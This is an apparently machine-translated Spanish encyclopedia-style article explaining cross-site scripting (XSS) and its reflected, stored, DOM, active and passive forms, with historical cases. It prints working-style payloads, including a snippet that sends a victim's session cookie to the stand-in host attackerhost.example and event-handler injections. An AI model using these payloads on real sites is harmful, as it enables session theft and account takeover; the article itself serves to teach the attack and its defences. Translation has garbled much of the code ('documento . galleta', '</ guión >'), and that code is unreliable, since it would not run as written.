XSS ( English Cross-Site Scripting - "cross -site scripting ") - un tipo de ataque a los sistemas web , que consiste en introducir un código malicioso en la página emitida por el sistema web (que se ejecutará en la computadora del usuario cuando abra esta página) y la interacción de este código con el servidor web del atacante. Es una variación del ataque de inyección de código .
La especificidad de este tipo de ataques es que el código malicioso puede utilizar la autorización del usuario en el sistema web para obtener un acceso ampliado al mismo o para obtener los datos de autorización del usuario. El código malicioso se puede insertar en una página a través de una vulnerabilidad en el servidor web oa través de una vulnerabilidad en la computadora del usuario [1] .
El término se abrevia como "XSS" para evitar confusiones con las hojas de estilo en cascada que usan la abreviatura "CSS".
XSS ocupa el tercer lugar en los riesgos clave de las aplicaciones web, según OWASP 2021 [2] . Durante mucho tiempo, los programadores no les prestaron la debida atención, considerándolos inofensivos. Sin embargo, esta opinión es errónea: puede haber datos muy sensibles en una página o en una cookie HTTP (por ejemplo, un identificador de sesión de administrador o números de documentos de pago), y donde no hay protección contra CSRF , un atacante puede realizar cualquier acción. disponible para el usuario. Las secuencias de comandos entre sitios se pueden utilizar para llevar a cabo un ataque DoS [3] .
La seguridad de Internet se aplica a través de muchos mecanismos, incluido un concepto importante conocido como la regla de restricción de dominio . Esta regla permite que los scripts que residen en páginas del mismo sitio (https://mybank.example.com) accedan a los métodos y propiedades de los demás sin restricciones, pero impide el acceso a la mayoría de los métodos y propiedades de las páginas de otro sitio (https:// othersite .example.com) (enlace no disponible) [4] .
Las secuencias de comandos entre sitios explotan vulnerabilidades conocidas en aplicaciones web, servidores (o complementos del sistema relacionados con ellos). Usando uno de ellos, el atacante incrusta contenido malicioso en el contenido de un sitio ya pirateado. Como resultado, el usuario recibe contenido fusionado en un navegador web que ha sido entregado desde una fuente confiable y, por lo tanto, actúa de acuerdo con los permisos otorgados a ese sistema. Habiendo logrado inyectar el script necesario en una página web, un atacante puede obtener privilegios elevados con respecto al trabajo con páginas web, cookies y otra información almacenada en el navegador para un usuario determinado.
La expresión "cross-site scripting" significaba originalmente la interacción de una aplicación web vulnerable con el sitio de un atacante de tal manera que el código JavaScript preparado por el atacante se ejecutaba en el contexto del dominio atacado (vulnerabilidad XSS reflejada o almacenada). Poco a poco, la definición comenzó a incluir otras formas de incrustar código, incluido el uso de lenguajes robustos y que no son JavaScript (como ActiveX , Java , VBScript , Flash e incluso HTML ), creando confusión entre los recién llegados a la seguridad de la información . [5]
Los ataques XSS contra la biblioteca React JS se evitan en gran medida porque todo se convierte en cadenas antes de procesarse. Esto garantiza que nadie inyecte nada que no haya sido escrito explícitamente por un desarrollador de JS en una aplicación web.
Las vulnerabilidades XSS han sido reportadas y explotadas desde mediados de la década de 1990 [6] . Los sitios notables afectados en el pasado incluyen sitios de redes sociales como Twitter [7] , VKontakte [8] , MySpace [9] , YouTube [10] , Facebook [11] y otros.
No existe una clasificación clara de secuencias de comandos entre sitios. Pero la mayoría de los expertos distinguen al menos dos tipos de XSS: "reflejado" ("XSS reflejado" o "Tipo 1") y "almacenado" ("XSS almacenado" o "Tipo 2") .
El ataque de vulnerabilidad reflejada es, con mucho, el ataque XSS más común [13] . Estas vulnerabilidades ocurren cuando los datos proporcionados por un cliente web, más comúnmente en parámetros de solicitud HTTP o en forma de HTML , se ejecutan directamente mediante secuencias de comandos del lado del servidor para analizar y mostrar la página de resultados de ese cliente sin el procesamiento adecuado [14] . Un ataque XSS reflejado se activa cuando un usuario hace clic en un enlace especialmente diseñado.
Ejemplo:
http://ejemplo.com/buscar.php?q= < script > Hacer Algo ();</ script >Si el sitio no evita los corchetes angulares convirtiéndolos en " <" y " >", obtendremos el script en la página de resultados de búsqueda.
Los ataques reflejados generalmente se envían por correo electrónico o se publican en una página web. La URL del cebo no es sospechosa y apunta a un sitio confiable, pero contiene un vector XSS. Si el sitio de confianza es vulnerable al vector XSS, seguir el enlace puede hacer que el navegador de la víctima ejecute el script incrustado.
Almacenado (permanente)El XSS almacenado es el tipo de ataque más destructivo. El XSS almacenado es posible cuando un atacante logra inyectar un código malicioso en un servidor que se ejecuta en el navegador cada vez que se accede a la página original. Un ejemplo clásico de esta vulnerabilidad son los foros donde se permite dejar comentarios en formato HTML sin restricciones, así como otros sitios web 2.0 (blogs, wikis, imageboards ), cuando los textos e imágenes de los usuarios se almacenan en el servidor. Se insertan guiones en estos textos y figuras.
Fragmento de código para robar una clave con una ID de sesión:
< script > documento . ubicación = "http://attackerhost.example/cgi-bin/cookiesteal.cgi?" + documento . galleta </ guión > Modelos DOMXSS en el DOM ocurre en el lado del cliente durante el procesamiento de datos dentro de un script de JavaScript. Este tipo de XSS obtuvo su nombre porque se implementa a través del DOM (Document Object Model) , una interfaz de programación independiente del lenguaje y la plataforma que permite que los programas y scripts accedan al contenido de los documentos HTML y XML, así como también cambien el contenido, estructura y diseño de tales documentos. Con un filtrado incorrecto, es posible modificar el DOM del sitio atacado y lograr la ejecución del código JavaScript en el contexto del sitio atacado.
Ejemplo:
< cuerpo > < script > documento . escribir ( ubicación . href );</ guión > </ cuerpo >El ejemplo de XSS DOM es un error encontrado en 2011 en varios complementos de jQuery [15] . Las técnicas de prevención XSS DOM incluyen medidas que son típicas de XSS tradicional, pero implementadas en javascript y enviadas a páginas web: validación de entrada y prevención de ataques [16] . Algunos marcos de JavaScript tienen defensas integradas contra estos y otros tipos de ataques, como AngularJS [17] .
Bugzilla , 2004 [19] En algunos navegadores (al menos Internet Explorer ) al especificar una URL
http://bugzilla.mozilla.org/enter_bug.cgi ? <script>alerta('foo');</script>no hay codificación de URL, y el código
documento _ write ( "<p>URL: " + documento . ubicación + "</p>" );inyectar el script en la página.
Debido a errores, el navegador puede ejecutar scripts en SVG , violando la regla de Política del mismo dominio . Estos son errores graves; después de que se descubren, se cierran rápidamente, sin embargo, durante el período de transición, casi todos los sitios Web 2.0 se vuelven peligrosos : foros, wikis, tablones de imágenes. Si se encuentra un error de este tipo, se recomienda que utilice otro navegador hasta que se publique la actualización.
También hay errores más sutiles que aparecen en condiciones muy específicas y no causan daños mayores. Dichos errores pueden no corregirse durante años y es más rentable arreglar el sitio que esperar una actualización del navegador.
Sin escape de caracteres especiales HTML Todo el texto personalizado debe ser escapadophpBB , 2002 [20] [21] . Aunque la URL de la imagen se compara con el protocolo (solo se permite http:), la URL en sí no se escapa de ninguna manera, y una línea como
[img] http://aa/a "onerror=" javascript:alerta(documento.cookie)[/img]puede arrastrar un script personalizado al documento.
Los errores del sitio web son mucho más comunes. Para asegurarse de que el navegador no confunda la cadena con una etiqueta HTML, se deben escapar cinco caracteres : '"&<>. Es posible que el servidor no escape todos los caracteres (una conocida falla de PHP [22] ), o que el programador web simplemente se olvide de escapar de la cadena.
Normalmente, el texto se almacena sin escape en las bases de datos , y todas las cadenas personalizadas deben tener escape cada vez que se incrustan en HTML: por ejemplo, si la URL de la imagen no tiene escape , el usuario podría ingresar algo como http://example.com/img.png" onmouseover="javascript:DoSomething();.
Muchos sitios permiten el formato de texto utilizando algún tipo de lenguaje de marcas ( HTML , BBCode , wiki markup ). A menudo, no se lleva a cabo un análisis léxico completo del lenguaje de marcado, sino solo la transformación en HTML "seguro" utilizando expresiones regulares [23] . Esto simplifica la programación, pero requiere una comprensión profunda de cómo la secuencia de comandos puede infiltrarse en el código HTML resultante.
Sin filtrado de atributos y sus valores en etiquetas permitidasUn ejemplo típico sería un enlace <a href="javascript:DoSomething()">. Incluso si el foro permite enlaces externos, no debe permitir que los protocolos javascript:y data:.
Otros ataques no son XSS, pero otros ataques no son menos dañinos: un pirata informático puede especificar un servidor con un canal de Internet estrecho como dirección, paralizar su trabajo con una gran cantidad de solicitudes, o usarlo para organizar un ataque XSRF .
Cambiar la codificación en el encabezado de la páginaLos navegadores modernos intentan determinar la codificación de una página sobre la marcha e interpretan html de acuerdo con esa codificación. Si la etiqueta <title>se encuentra antes de la etiqueta y está llena de datos de usuario, un pirata informático puede insertar un <meta>código html codificado en UTF-7 malicioso , evitando así el filtrado de caracteres <como ". Para protegerse contra esta vulnerabilidad, debe especificar explícitamente la codificación de la página antes de cualquier campo personalizado. HTML 5 prohíbe explícitamente la compatibilidad del navegador con la codificación UTF-7 como potencialmente peligrosa. [24]
Mediante Inyección SQLSi el sitio permite la inyección de código SQL y muestra el contenido de la base de datos sin ningún tipo de escape (ya sea por ignorancia, o el código HTML listo para usar está almacenado en la base de datos, [25] o el autor sabe con seguridad que no no hay caracteres "malos" en la base de datos), puede realizar un ataque poco común.
Al inyectar código SQL, escribimos la página "envenenada" en la base de datos. Si alguien obtiene acceso a esta fila de la base de datos, un script malicioso ingresará a su navegador. Hay ataques sin almacenar HTML en la base de datos: el DBMS en lugar del campo almacenado en la base de datos devolverá el script que está escrito en el texto de la solicitud.
Un ataque XSS activo no requiere ninguna acción por parte del usuario en cuanto a la funcionalidad de la aplicación web.
Ejemplo:
<input type=text value=a onfocus=alert(1337) AUTOFOCUS>
Este ejemplo muestra un campo de entrada que tiene un controlador de eventos de aparición de enfoque que ejecuta el código de ataque real, y la propiedad de configuración de enfoque automático está activada para este campo de entrada. Esto establece automáticamente el enfoque, que llama al controlador de conjunto de enfoque que contiene el código de ataque. El ataque está activo y se realiza automáticamente, sin requerir ninguna actividad por parte del usuario.
Pasivo (autónomo)Un ataque XSS pasivo se desencadena cuando un usuario realiza una determinada acción (hacer clic o pasar el mouse por encima, etc.).
Ejemplo:
<a href='a' onmouseover=alert(1337) style='font-size:500px'>
El ejemplo muestra un hipervínculo que llama la atención del usuario de una manera especial y/o ocupa una cantidad significativa de espacio que aumenta la probabilidad de pasar el puntero del mouse, en este caso en letra grande. El hipervínculo tiene un controlador de eventos de mouseover que contiene el código de ataque. El ataque es pasivo porque no hace nada y el código de ataque no se ejecuta mientras espera que el usuario se desplace sobre el enlace.